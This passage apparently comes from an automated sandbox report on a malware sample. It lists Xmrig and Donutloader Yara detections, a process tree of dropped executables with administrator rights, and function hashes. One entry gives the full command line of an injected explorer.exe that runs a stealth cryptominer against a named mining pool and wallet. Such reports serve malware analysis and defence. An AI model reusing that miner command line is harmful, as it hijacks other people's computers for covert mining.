                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2236720791.0000024769432000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2242162134.0000024769431000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2242162134.0000024769431000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2232579749.0000024769436000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2232579749.0000024769436000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2239521563.000002476943F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2239521563.000002476943F000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2263942655.0000024769433000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2263942655.0000024769433000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2260012653.0000024769436000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2260012653.0000024769436000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2231606755.0000024769434000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2231606755.0000024769434000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2244730823.000002476943C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2244730823.000002476943C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2266356078.0000024769438000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2266356078.0000024769438000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2230448544.0000024769438000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2230448544.0000024769438000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2243392476.000002476943F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2243392476.000002476943F000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2241271993.000002476943F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2241271993.000002476943F000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2256496200.0000024769432000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2256496200.0000024769432000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2240379880.000002476943D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2240379880.000002476943D000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2220629227.0000024769433000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2220629227.0000024769433000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:17
                                                                    Start time:18:17:02
                                                                    Start date:07/10/2024
                                                                    Path:C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                                                    Imagebase:0x400000
                                                                    File size:31'744 bytes
                                                                    MD5 hash:3C9FA255FE0A761E4D8535039EB86F5C
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000011.00000002.2211357524.0000000000825000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 00000011.00000002.2211357524.0000000000825000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    Antivirus matches:
                                                                    • Detection: 100%, Avira
                                                                    • Detection: 100%, Joe Sandbox ML
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:18
                                                                    Start time:18:17:02
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\conhost.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Windows\System32\conhost.exe" "/sihost64"
                                                                    Imagebase:0x7ff66e660000
                                                                    File size:862'208 bytes
                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000012.00000002.2234389210.0000025C64110000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 00000012.00000002.2234389210.0000025C64110000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:19
                                                                    Start time:18:17:04
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\explorer.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=426RNxSSEqcPuv4hwEHkJf7kVHFWs8bprQJpMPxDcRx6RTQxZW7rByiXU4CnMDqrHL4s7VEpMG8Qj77ygdDRvkBU3Ncd1Wx --pass= --cpu-max-threads-hint=40 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-stealth
                                                                    Imagebase:0x7ff609140000
                                                                    File size:5'141'208 bytes
                                                                    MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Has exited:false

                                                                    General

                                                                    Target ID:20
                                                                    Start time:18:17:04
                                                                    Start date:07/10/2024
                                                                    Path:C:\Users\user\AppData\Local\Temp\services64.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Users\user\AppData\Local\Temp\services64.exe"
                                                                    Imagebase:0x400000
                                                                    File size:2'234'880 bytes
                                                                    MD5 hash:DEF89B601B7DDD52A94E15DBD38EAEEF
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000014.00000002.2235023601.0000000000A8C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 00000014.00000002.2235023601.0000000000A8C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:21
                                                                    Start time:18:17:04
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\wbem\WmiPrvSE.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                    Imagebase:0x7ff717f30000
                                                                    File size:496'640 bytes
                                                                    MD5 hash:60FF40CFD7FB8FE41EE4FE9AE5FE1C51
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:false
                                                                    Programmed in:C, C++ or other language
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:22
                                                                    Start time:18:17:04
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\conhost.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe"
                                                                    Imagebase:0x7ff66e660000
                                                                    File size:862'208 bytes
                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000016.00000002.2255998341.000001D90D160000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 00000016.00000002.2255998341.000001D90D160000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:23
                                                                    Start time:18:17:06
                                                                    Start date:07/10/2024
                                                                    Path:C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                                                    Imagebase:0x400000
                                                                    File size:31'744 bytes
                                                                    MD5 hash:3C9FA255FE0A761E4D8535039EB86F5C
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000017.00000002.2257559925.0000000000925000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 00000017.00000002.2257559925.0000000000925000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:24
                                                                    Start time:18:17:06
                                                                    Start date:07/10/2024
                                                                    Path:C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                                                    Imagebase:0x400000
                                                                    File size:31'744 bytes
                                                                    MD5 hash:3C9FA255FE0A761E4D8535039EB86F5C
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000018.00000002.2249781552.0000000000845000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 00000018.00000002.2249781552.0000000000845000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:25
                                                                    Start time:18:17:06
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\conhost.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Windows\System32\conhost.exe" "/sihost64"
                                                                    Imagebase:0x7ff66e660000
                                                                    File size:862'208 bytes
                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Has exited:false

                                                                    General

                                                                    Target ID:26
                                                                    Start time:18:17:06
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\conhost.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Windows\System32\conhost.exe" "/sihost64"
                                                                    Imagebase:0x7ff66e660000
                                                                    File size:862'208 bytes
                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:31
                                                                    Start time:18:20:12
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\svchost.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                    Imagebase:0x7ff7403e0000
                                                                    File size:55'320 bytes
                                                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Has exited:false

                                                                    General

                                                                    Target ID:32
                                                                    Start time:18:20:12
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\WerFault.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Windows\system32\WerFault.exe -pss -s 432 -p 6012 -ip 6012
                                                                    Imagebase:0x7ff765810000
                                                                    File size:570'736 bytes
                                                                    MD5 hash:FD27D9F6D02763BDE32511B5DF7FF7A0
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:33
                                                                    Start time:18:20:12
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\WerFault.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Windows\system32\WerFault.exe -u -p 6012 -s 880
                                                                    Imagebase:0x7ff765810000
                                                                    File size:570'736 bytes
                                                                    MD5 hash:FD27D9F6D02763BDE32511B5DF7FF7A0
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:34
                                                                    Start time:18:20:14
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\svchost.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                    Imagebase:0x7ff7403e0000
                                                                    File size:55'320 bytes
                                                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Has exited:false

                                                                    Disassembly

                                                                    Reset < >

                                                                      Executed Functions

                                                                      Function 00007FFD343F0568 Relevance: 1.0, Instructions: 1003COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000000.00000002.2162048216.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_0_2_7ffd343f0000_GcqJPBLD2Q.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: d2fc74352a8497a852e520dbbeab69a68b5e6df36e831fd5b74512c1f1f4c5cd
                                                                      • Instruction ID: de8201224ad88abf69be8209c4362ea4801e11854b6aeef0a994fb8e89b32c32
                                                                      • Opcode Fuzzy Hash: d2fc74352a8497a852e520dbbeab69a68b5e6df36e831fd5b74512c1f1f4c5cd
                                                                      • Instruction Fuzzy Hash: 1762D331758A098FDB58EA18D4A49B573E2FF96304B60467DD18BC7296DE39FC42CB80
                                                                      Function 00007FFD343F089D Relevance: .6, Instructions: 614COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000000.00000002.2162048216.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_0_2_7ffd343f0000_GcqJPBLD2Q.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 179d036a8d7dab59af6904f770fa47dda3f3aa1c277964a3da874f920c152f22
                                                                      • Instruction ID: 83a3708a6975bb7f83f77a2afd452f2c784e291e60ef20dc36d76e7b12d5721a
                                                                      • Opcode Fuzzy Hash: 179d036a8d7dab59af6904f770fa47dda3f3aa1c277964a3da874f920c152f22
                                                                      • Instruction Fuzzy Hash: C6122231B18A094FE75CEF2D84E4575B7E2EF9930575482BED44ACB29BDD39E8028780
                                                                      Function 00007FFD343F0B40 Relevance: .4, Instructions: 419COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000000.00000002.2162048216.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_0_2_7ffd343f0000_GcqJPBLD2Q.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 38d3449808ce115b44434d5c0f6364c32492a6198410d41cd010a90939971581
                                                                      • Instruction ID: 48ae6e7017c1dd9b0706d2ca0254fbead6a4eda5dac61eb9b6a0f7abb8849a42
                                                                      • Opcode Fuzzy Hash: 38d3449808ce115b44434d5c0f6364c32492a6198410d41cd010a90939971581
                                                                      • Instruction Fuzzy Hash: 6AD12432B58A054FD75CDF2D84D1071BBE6EFD930575486BEC48ACB29BDA39E8038681
                                                                      Function 00007FFD343F1035 Relevance: 6.7, Strings: 5, Instructions: 407COMMON
                                                                      Download Yara Rule
                                                                      Strings
                                                                      Memory Dump Source
                                                                      • Source File: 00000000.00000002.2162048216.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_0_2_7ffd343f0000_GcqJPBLD2Q.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID: 0f.4$8j.4$gfff$pc.4$pc.4
                                                                      • API String ID: 0-2130860934
                                                                      • Opcode ID: 1b83d8e0e99394b10c00a69f3249e70440a20e19c38a3bb9a02ce1aa9675acef
                                                                      • Instruction ID: 93c46ccf84bceeaf4a12ae53ab1fd3e887890e23239c03dccd3b328f5df7c428
                                                                      • Opcode Fuzzy Hash: 1b83d8e0e99394b10c00a69f3249e70440a20e19c38a3bb9a02ce1aa9675acef
                                                                      • Instruction Fuzzy Hash: 33D11862B2CA860FEB59BB6894A16F5B7E1FF55304F0446BBD08AC71C7DD2CB8068741
                                                                      Function 00007FFD343F04F0 Relevance: 1.4, Strings: 1, Instructions: 183COMMON
                                                                      Download Yara Rule
                                                                      Strings
                                                                      Memory Dump Source
                                                                      • Source File: 00000000.00000002.2162048216.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_0_2_7ffd343f0000_GcqJPBLD2Q.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID: gfff
                                                                      • API String ID: 0-1553575800
                                                                      • Opcode ID: a325f465ee54a109034bcb385bf42f9c266fda2bd62a4b63837ba27d5c92e6b2
                                                                      • Instruction ID: 11e314413cb706927eabf3c1f6ec29cc9528bfd7182740287d812c8bd63be21a
                                                                      • Opcode Fuzzy Hash: a325f465ee54a109034bcb385bf42f9c266fda2bd62a4b63837ba27d5c92e6b2
                                                                      • Instruction Fuzzy Hash: C3512922B5D6450FD719AA3D58A51A47BE2EF8A300B1881BED589CB297DC3DEC439340
                                                                      Function 00007FFD343F28CD Relevance: .3, Instructions: 281COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000000.00000002.2162048216.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_0_2_7ffd343f0000_GcqJPBLD2Q.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: ae886b9f8e432f23f2e01d4b05813cb579155b4040a54f37fa5c6161c68f4387
                                                                      • Instruction ID: d55afba3d52eb9ffa41826e5d45322ba9838dc28670f6b893f836b918cc9756f
                                                                      • Opcode Fuzzy Hash: ae886b9f8e432f23f2e01d4b05813cb579155b4040a54f37fa5c6161c68f4387
                                                                      • Instruction Fuzzy Hash: A0917F21B1DA498FE795BBAC84A5B75B7D6EF99300F2401BAD00DC32D3CD2DAC428752
                                                                      Function 00007FFD343F1789 Relevance: .3, Instructions: 275COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000000.00000002.2162048216.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_0_2_7ffd343f0000_GcqJPBLD2Q.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: b7a7144578f598bef817109bd04eaad8cb7ff61f9c3b16a60928679b1a0551da
                                                                      • Instruction ID: ff0a958f536a4992230e87b1ac20b1382871f62ede4ebe55ff7ef9bc37b4fe4e
                                                                      • Opcode Fuzzy Hash: b7a7144578f598bef817109bd04eaad8cb7ff61f9c3b16a60928679b1a0551da
                                                                      • Instruction Fuzzy Hash: 1081C232758A098FDB5CEA18D4A187573E2FF96305B60467CD18BC7296DA39F843CB80
                                                                      Function 00007FFD343F2C4D Relevance: .2, Instructions: 215COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000000.00000002.2162048216.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_0_2_7ffd343f0000_GcqJPBLD2Q.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: cb78d636a5a90b5a98e5851be33b49859df40f54bd446ce000ace55589733c48
                                                                      • Instruction ID: 53064967148197534993e921a680e46d9c13164c444bb55c9e9e2f7038486d46
                                                                      • Opcode Fuzzy Hash: cb78d636a5a90b5a98e5851be33b49859df40f54bd446ce000ace55589733c48
                                                                      • Instruction Fuzzy Hash: 94517232B5C9494FDB94FB6CD4A9BA877E1EF99311F040179E14DC3292DE29AC428781
                                                                      Function 00007FFD343F06F0 Relevance: .2, Instructions: 212COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000000.00000002.2162048216.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_0_2_7ffd343f0000_GcqJPBLD2Q.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 12bb4366afad446c265c3548c59ae60f6f50b417a3a1d5a4d013a1138b50d13b
                                                                      • Instruction ID: 3f78bfb5484d0c3f9542f48bceba72ec7d520862a7036cddbe5d9b4651392044
                                                                      • Opcode Fuzzy Hash: 12bb4366afad446c265c3548c59ae60f6f50b417a3a1d5a4d013a1138b50d13b
                                                                      • Instruction Fuzzy Hash: 4D517331B5C9494FEB94FB6CD4A9BA877E1FF99311F040179E14EC3292DE29AC428781
                                                                      Function 00007FFD343F1DA9 Relevance: .2, Instructions: 186COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000000.00000002.2162048216.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_0_2_7ffd343f0000_GcqJPBLD2Q.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 4c17429e8c947841d510d5a3ff18ff0c9df5f7835c1f0a4ab1e72838d98c47d9
                                                                      • Instruction ID: bd833283dc5e289df6520016d9ba83632d5ff47c8438a4f4d97c87b547f6c598
                                                                      • Opcode Fuzzy Hash: 4c17429e8c947841d510d5a3ff18ff0c9df5f7835c1f0a4ab1e72838d98c47d9
                                                                      • Instruction Fuzzy Hash: E051A131628B098FDB59EB19D4E49B173A2FFA5304B6046BDC24BC7691DE39F842CB40
                                                                      Function 00007FFD343F2B65 Relevance: .2, Instructions: 166COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000000.00000002.2162048216.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_0_2_7ffd343f0000_GcqJPBLD2Q.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 51462cfaa57684a420716b4951b94b916f72aa00946571dd21c0b6797d961642
                                                                      • Instruction ID: fe0c1ce8708c4bfc71b10d0b7cffbb6bf2e0f1c3537361e5cef75449931a5ed8
                                                                      • Opcode Fuzzy Hash: 51462cfaa57684a420716b4951b94b916f72aa00946571dd21c0b6797d961642
                                                                      • Instruction Fuzzy Hash: 9451BF22B5CA4D8FE7A8FB6884A52B477D2EF89300B5405B9D44EC72D7DD3EAC429740
                                                                      Function 00007FFD343F0F66 Relevance: .1, Instructions: 94COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000000.00000002.2162048216.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_0_2_7ffd343f0000_GcqJPBLD2Q.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: abd5591e5d86781fcf60c36763cb8c57b6f15d40e21f09d3199b81ad58f488a4
                                                                      • Instruction ID: e12cb80e1dcde73bcc4b65bbf9f5f5968d3e242c26afb6763ed496bee4b259a0
                                                                      • Opcode Fuzzy Hash: abd5591e5d86781fcf60c36763cb8c57b6f15d40e21f09d3199b81ad58f488a4
                                                                      • Instruction Fuzzy Hash: 9421A512B5DE0D0BE698B65C64B53F9A2C2EFDA311F0442BEE25EC32C7DC2D6C065241
                                                                      Function 00007FFD343F14E5 Relevance: .0, Instructions: 44COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000000.00000002.2162048216.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_0_2_7ffd343f0000_GcqJPBLD2Q.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 77b14f0b20f9bbc3141460762868a8bd67be214e1b258adfaefc44e745ecf29d
                                                                      • Instruction ID: 37db8f7c10b34ee1e70feb983432bce1fa04167383c5cf341dfe59abc0e423fb
                                                                      • Opcode Fuzzy Hash: 77b14f0b20f9bbc3141460762868a8bd67be214e1b258adfaefc44e745ecf29d
                                                                      • Instruction Fuzzy Hash: D1F0F662E4DB850FC761AB3968510A17BF0FF9622030807ABC08EC7146ED3CA9478791
                                                                      Function 00007FFD343F2C10 Relevance: .0, Instructions: 31COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000000.00000002.2162048216.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false
